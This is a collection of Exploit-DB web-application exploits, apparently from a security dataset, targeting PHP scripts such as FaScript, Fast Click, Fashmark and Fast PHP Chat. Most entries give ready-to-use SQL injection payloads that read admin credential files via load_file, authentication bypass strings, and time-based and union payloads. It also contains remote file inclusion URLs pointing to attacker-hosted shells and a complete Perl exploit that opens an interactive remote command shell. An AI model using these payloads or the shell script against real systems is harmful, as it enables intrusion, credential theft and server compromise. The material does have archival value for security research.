deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4915
Description: FaScript FaName 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-15
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                FaScript FaName v1 Remote Sql Injection                      ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://www.hotscripts.com/Detailed/66472.html                    #
#                                                                                   #
#Injection Adress :  http://Sitename/faname/page.php?id=<SqL Code>                  #
#                                                                                   #
#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
#       You can open this file with load_file Function in mysql and see admin       #
#       Username and password in Page Source                                        #
#                                                                                   #
# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
#                                                                                   #
#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),2,3/**/from/**/mysql.user/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-15]
Exploit-DB #4916
Description: FaScript FaPersian Petition - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-15
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####           FaScript FaPersian Petition Remote Sql Injection                  ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://fascript.com/fapersianpetition.zip                        #
#                                                                                   #
#Injection Adress :  http://Sitename/fp/show.php?id=<SqL Code>                      #
#                                                                                   #
#                                                                                   #
#SQL For find Username and [CREDENTIAL_REDACTED]'%20union/**/select/**/0,1,2,3,4,5,6,concat(0x3c62723e200d0a4c6f67696e3a,email,0x3c62723e200d0a[PII_REDACTED]6f72643a,password),8,9,10,11/**/from/**/member/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-15]
Exploit-DB #4917
Description: FaScript FaPersianHack 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-15
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####           FaScript FaPersianHack v1 Remote Sql Injection                    ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://fascript.com/fapersianhack.zip                            #
#                                                                                   #
#Injection Adress :  http://Sitename/ph/show.php?id=<SqL Code>                      #
#                                                                                   #
#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
#       You can open this file with load_file Function in mysql and see admin       #
#       Username and password in Page Source                                        #
#                                                                                   #
# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
#                                                                                   #
#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),3,4,5,6/**/from/**/mysql.user/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-15]
Exploit-DB #5334
Description: FaScript FaPhoto 1.0 - 'show.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-01
Author: Khashayar Fereidani

Exploit:
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://en.fascript.com/en.faphoto.zip                            #
#                                                                                   #
#Injection Adress :  http://Sitename/faname/show.php?id=<SqL Code>                  #
#                                                                                   #
#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
#       You can open this file with load_file Function in mysql and see admin       #
#       Username and password in Page Source                                        #
#                                                                                   #
# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
#                                                                                   #
#SQL Code for Read pconfig.php : 999999%27union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),2,3,4,5,6/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#                                 Tnx God                                           #
#####################################################################################

# milw0rm.com [2008-04-01]
Exploit-DB #7487
Description: FaScript FaUpload - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-16
Author: Aria-Security Team

Exploit:
                                !!..:: ZAC003 ::..!!
                    -+( Vive int Iranian WhiteHat Nomads Group )+-
-------------------------------------------------------------------------------------------
Reporter : ZAC003 From Aria-Security.Net
Script Download : http://webscripts.softpedia.com/script/Internet-Browsers-C-C/FTP/Faupload-41231.html
BUG :
+ class/download.php +
[Code]
4:    $id = $_GET['id']; //Bug Here !
5:    $how = "n";
6:    $kind = "point";
7:    $result = mysql_query("SELECT * FROM file WHERE $kind LIKE '$id' order by id DESC"); //Bug Here !
8:    while($r=mysql_fetch_array($result))
9:    {
[/Code]
[Exploit]
    Example Downlaod : http://127.0.0.1/faupload/download.php?id=c16a5320fa475530d9583c34fd356ef5
    Inject : http://127.0.0.1/faupload/download.php?id=-999'< SQL Command >/*
    For View Admin UserName,Password(./admin/pconfig.php ) : -999'/**/union/**/select/**/1,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),3,4,5,6,7,8,9/**/from/**/file/*
    For View File Name And Secret Key (PROVIDING BE) :
    For View Admin UserName,Password : -999'/**/union/**/select/**/1,name,3,4,5,6,skey,8,9/**/from/**/file/*
    Upload Shell = [Priv8 Perl Script]
    Update Ads Table(id,text): Use Update SQL Command !
[/Exploit]
-------------------------------------------------------------------------------------------
For Contact : ZAC003[at]Y![dot]Com , Aria-Security.net(Forum And Best WebBase Hacking Tools)
SpTnX : Aria-Security Team , Emperor Hacking Team , Iranian WhiteHat Nomads Group
greets : M3hd!.h4ckCity And All Member of Aria-Security

# milw0rm.com [2008-12-16]
Exploit-DB #40546
Description: Fashion Shopping Cart 0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2016-10-14
Author: lahilote

Exploit:
# Exploit Title.............. Fashion Shopping Cart SQL Injection
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/node/10435
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/aniketsmarty/online_shopping.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /admin/dd.php
-------------------------------

----snip----

$q=$_GET["q"];

$sql="SELECT * FROM subcategory WHERE cat_id ='$q'";

----snip----

Example exploitation
--------------------
http://server/path_to_webapp/admin/dd.php?q=-1%27%20union%20select%201,version()--+


How to fix
----------
Simple method's use the php function intval.
For example

$q=intval($_GET["q"]);

$sql="SELECT * FROM subcategory WHERE cat_id ='$q'";


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/node/10435
http://php.net/manual/en/function.intval.php
Exploit-DB #15046
Description: Fashione E-Commerce Webshop - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-09-19
Author: secret

Exploit:
   ________  _____________  / /_
  / ___/ _ \/ ___/ ___/ _ \/ __/
 (__  )  __/ /__/ /  /  __/ /_  
/____/\___/\___/_/   \___/\__/ #####################################################################

# Exploit Title: Fashione E-Commerce Webshop Multiple SQL Injection Vulnerabilities
# Date: 2010-09-19
# Author: secret
# Contact : mohammed.atta@hotmail.com / ICQ : 17-33-77
# Site : swissfaking.net/board
# Software Link: http://www.fashione.co.uk/
# Version: All versions so far
# Tested on: XP

# Fixed? : NOT FIXED

----------------------------------------------------------------------------

[Multiple SQL Injection Vulnerabilities] "brandid=" / "plu=" / "page_id="

e.g. http://server/index.php?page_id=-1+and+1=0+Union+Select+[VISIBLE],2,3,4

e.g. http://server/index.php?page_id=prod&brandid=248&brand_name=LUKE 1977&plu=[PII_REDACTED]+and+1=0+Union+Select+[VISIBLE],2,3,4

e.g. http://server/index.php?page_id=prod&brandid=248+and+1=0+Union+Select+[VISIBLE],2,3,4

################################################################################################

[THANKS TO]
 
ALLAH - الله لا إله لا ايل
 
To all my brothers & sisters in IRAN - god bless you - support the GREEN REVOLUTION
Exploit-DB #41562
Description: Fashmark 1.2 - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Fashmark - eCommerce Script v1.2 - SQL Injection
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: https://www.ncrypted.net/
# Software: https://www.ncrypted.net/fashmark
# Demo: http://demo.ncryptedprojects.com/fashmark-ent/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search/?searchChar=Ihsan_Sencan&category=[SQL]
# Etc..
# # # # #
Exploit-DB #1740
Description: Fast Click 1.1.3/2.3.8 - 'show.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-02
Author: R@1D3N

Exploit:
#!/usr/bin/perl
##
# Fast Click <= 2.3.8 Remote File Inclusion exploit
# Bug discovered and cod3d by R@1D3N (amin emami)
#Greet:Outlaw - Aura - Dltrp - Cl0wn - B3HZAD - sm0k3r - Exploitercode - Str0ke and all persian Cyber team
#http://www.aria-security.net
#Dork:inurl:"fclick.php?fid"
# usage:
# perl fc.pl <target> <cmd shell location> <cmd shell variable>
# perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'show.php?path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " Fast Click <= 2.3.8 Remote File Inclusion exploit\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl fc.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to Fastclick ex: http://www.site.com/fclick/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           bug discovered by RAYD3N \r\n";
 print " www.Aria-security.net/Forums/ \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-02]
Exploit-DB #6785
Description: Fast Click SQL 1.1.7 Lite - 'init.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-10-19
Author: NoGe

Exploit:
===========================================================================================


  [o] Fast CLick SQL Lite 1.1.7 Remote File Inclusion Vulnerability

       Software : Fast CLick SQL Lite version 1.1.7
       Vendor   : http://www.ftrsoft.com/
       Download : http://www.ftrsoft.com/downloads.html
       Author   : NoGe
       Contact  : noge[at]mainhack[dot]com


===========================================================================================


  [o] Vulnerable file

       common/init.php

	require($CFG['CDIR'].'/global.php'); 
	require($CFG['CDIR'].'/sql.php');



  [o] Exploit

       http://localhost/[path]/common/init.php?CFG[CDIR]=[evilcode]


===========================================================================================


  [o] Greetz

       MainHack BrotherHood [ www.mainhack.com ]
       VOP Crew [ Vaksin13 OoN_BoY Paman ]
       H312Y yooogy mousekill }^-^{ k1tk4t
       skulmatic olibekas ulga Cungkee str0ke

        
===========================================================================================

# milw0rm.com [2008-10-19]
Exploit-DB #27807
Description: Fast Click SQL Lite 1.1.2/1.1.3 - 'show.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-03
Author: R@1D3N

Exploit:
source: https://www.securityfocus.com/bid/17819/info

Fast Click SQL Lite is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue is reported to affect versions 1.1.3 and prior.

http://www.example.com/[path]/show.php?path=http://www.example.com/cmd.gif?&cmd=uname -a
Exploit-DB #7711
Description: Fast FAQs System - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-09
Author: x0r

Exploit:
########################
# -=Fast FAQs System=- #
########################
Autore: x0r
Email: x0r@live.it
Cms Site: http://fastcreators.com/products/fast_faq/download.php
#########################

Bug In \admin\authorize.php

$query = "select * from admin where userid='{$_POST['uname']}' AND
pass='{$_POST['pass']}'";

Exploit:

' or '1=1

#######################

Greetz: Anna...Strabica...Emetta... Vi Amo..

-- w00t Zone - w00tzone.org 

# milw0rm.com [2009-01-09]
Exploit-DB #7719
Description: Fast Guest Book - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-11
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================

==============================================================================
    Fast Guest Book (Auth Bypass) SQL Injection Vulnerability
==============================================================================

	[Â»] Script:             [ Fast Guest Book ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://fastcreators.com/products/guestbook/download.php ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]
        [Â»] Team:               [ EvilWay ]

###########################################################################

===[ Exploit ]===	
	
	[Â»] ' or '1=1

===[ BUG ]===	

        [Â»] Bug In \admin\authorize.php

            $query = "select * from admin where userid='{$_POST['uname']}' AND
            pass='{$_POST['pass']}'";



Author: Moudi

###########################################################################

# milw0rm.com [2009-01-11]
Exploit-DB #49777
Description: Fast PHP Chat 1.3 - 'my_item_search' SQL Injection
Type: webapps
Platform: php
Date: 2021-04-21
Author: Fatih Coskun

Exploit:
# Exploit Title: Fast PHP Chat 1.3 - 'my_item_search' SQL Injection
# Date: 15/04/2021
# Exploit Author: Fatih Coskun
# Vendor Homepage: https://codecanyon.net/item/fast-php-chat-responsive-live-ajax-chat/10721076
# Version: 1.3
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands from search section with 'my_item_search' parameter.
====================================================

# PoC : SQLi :

POST /chat/edit.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/chat/edit.php
Cookie: PHPSESSID=9a04fe702b8ff82c1199590d7c286e1c;
_ga=GA1.2[PII_REDACTED][PII_REDACTED]; _gid=GA1.2[PII_REDACTED][PII_REDACTED]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
my_item_search=test&submit_search=Search


Parameter : my_item_search

     Type : boolean-based blind
     Demo : https://localhost/chat/edit.php
  Payload : my_item_search=-2454' OR 6122=6122#&submit=Search

     Type : error-based
     Demo : https://localhost/chat/edit.php
  Payload : my_item_search=test' AND (SELECT 3274 FROM(SELECT
COUNT(*),CONCAT(0x71706a7071,(SELECT
(ELT(3274=3274,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hbeW&submit=Search

     Type : stacked queries
     Demo : https://localhost/chat/edit.php
  Payload : my_item_search=test';SELECT SLEEP(5)#&submit=Search

     Type : AND/OR time-based blind
     Demo : https://localhost/login-script-demo/users.php
  Payload : my_item_search=test' OR SLEEP(5)-- mlod&submit=Search

     Type : UNION query
     Demo : https://localhost/chat/edit.php
  Payload : my_item_search=test' UNION ALL SELECT
NULL,CONCAT(0x71706a7071,0x4c5a[PII_REDACTED]676e4f[PII_REDACTED]795675704b557871675a[PII_REDACTED]574e[PII_REDACTED]534a71,0x7162716b71),NULL,NULL,NULL,NULL#&submit=Search

====================================================
Exploit-DB #1848
Description: Fastpublish CMS 1.6.9 - config[fsBase] Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-29
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# Fastpublish CMS v 1.6.9.d - Remote File Include Vulnerabilities
# Script site: http://www.fastpublish.org
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################

http://www.site.com/[fastpublish_path]/drucken.php?config[fsBase]=[evil_scripts]

http://www.site.com/[fastpublish_path]/drucken2.php?config[fsBase]=[evil_scripts]

http://www.site.com/[fastpublish_path]/email_an_benutzer.php?config[fsBase]=[evil_scripts]

http://www.site.com/[fastpublish_path]/rechnung.php?config[fsBase]=[evil_scripts]

http://www.site.com/[fastpublish_path]/suche/search.php?config[fsBase]=[evil_scripts]

http://www.site.com/[fastpublish_path]/adminbereich/admin.php?config[fsBase]=[evil_scripts]

#Elo ;-)

# milw0rm.com [2006-05-29]